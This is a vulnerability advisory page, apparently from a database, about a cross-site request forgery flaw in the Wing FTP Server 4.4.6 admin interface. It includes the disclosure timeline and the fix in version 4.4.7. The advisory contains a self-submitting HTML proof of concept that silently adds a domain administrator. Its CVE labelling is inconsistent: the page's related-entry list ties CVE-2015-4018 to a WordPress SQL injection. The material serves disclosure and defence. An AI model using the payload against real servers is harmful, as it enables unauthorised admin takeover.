Wing FTP 4.4.6 Cross Site Request Forgery

🗓️ 05 Jun 2015 00:00:00Reported by Alex HaynesType

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Wing FTP Server 4.4.6 CSRF Vulnerabilit

Reporter	Title	Published	Views	Family All 20
0day.today	WordPress FeedWordPress Plugin - SQL Injection Vulnerability	20 May 201500:00	–	zdt
Circl	CVE-2015-4018	20 May 201500:00	–	circl
CNVD	Unspecified SQL Injection Vulnerability in WordPress Plugin FeedWordPress	19 May 201500:00	–	cnvd
CNVD	Wing FTP Server Cross-Site Request Forgery Vulnerability	10 Jun 201500:00	–	cnvd
CVE	CVE-2015-4018	21 May 201520:00	–	cve
CVE	CVE-2015-4108	10 Jun 201518:00	–	cve
Cvelist	CVE-2015-4018	21 May 201520:00	–	cvelist
Cvelist	CVE-2015-4108	10 Jun 201518:00	–	cvelist
Exploit DB	WordPress Plugin FeedWordPress 2015.0426 - SQL Injection	20 May 201500:00	–	exploitdb
EUVD	EUVD-2015-4047	7 Oct 202500:30	–	euvd

`Exploit Title: Wing FTP Server Cross-site Request Forgery vulnerabilities  
Product: Wing FTP Server  
Vulnerable Versions: 4.4.6 and all previous versions  
Tested Version: 4.4.6  
Advisory Publication: 05/06/2015  
Latest Update: 05/06/2015  
Vulnerability Type: Cross-site Request Forgery [CWE-352]  
CVE Reference: CVE-2015-4018  
Credit: Alex Haynes  
  
Advisory Details:  
  
  
(1) Vendor & Product Description  
--------------------------------  
Vendor:Wing FTP software  
  
Product & Version:  
Wing FTP Server v 4.4.6  
  
Vendor URL & Download:  
http://www.wftpserver.com/  
  
Product Description:  
"Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server."  
  
  
(2) Vulnerability Details:  
--------------------------  
The admin interface of Wing FTP Server is vulnerable to a Cross-site Request Forgery (CSRF) vulnerabilities. All functionalities including (but not limited to), addition and deletion of domain administrators, regular users, starting and stopping servers or creating and deleting FTP domains are vulnerable to Cross-site request Forgeries.  
  
  
Proof of concept for RCE [CVE-2015-4018]:  
-----------------------------------------  
POC adds a domain administrator to the FTP server.  
  
  
<html>  
<body>  
<form action="http://<server address>:5466/admin_addadmin.html" method="POST">  
<input type="hidden" name="admin" value="{"username":"admin2","password":"admin2","oldpassword":"","readonly":0,"domainadmin":1,"domainlist":"test","mydirectory":"","ipmasks":[]}" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
  
(3) Advisory Timeline:  
----------------------  
27/05/2015 - First Contact  
27/05/2015 - Vendor responds with requests for details of vulnerabilities.  
28/05/2015 - Vulnerability details sent with POC.  
28/05/2015 - Vendor requests clarification on impact and various attack scenarios.  
28/05/2015 - Vulnerability scenarios defined.  
29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure.  
05/06/2015 - Public disclosure  
  
(4)Solution:  
------------  
Fixed in 4.4.7.   
  
  
(5) Credits:  
------------  
Discovered by Alex Haynes  
  
References:  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4018  
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4018  
`

05 Jun 2015 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.0251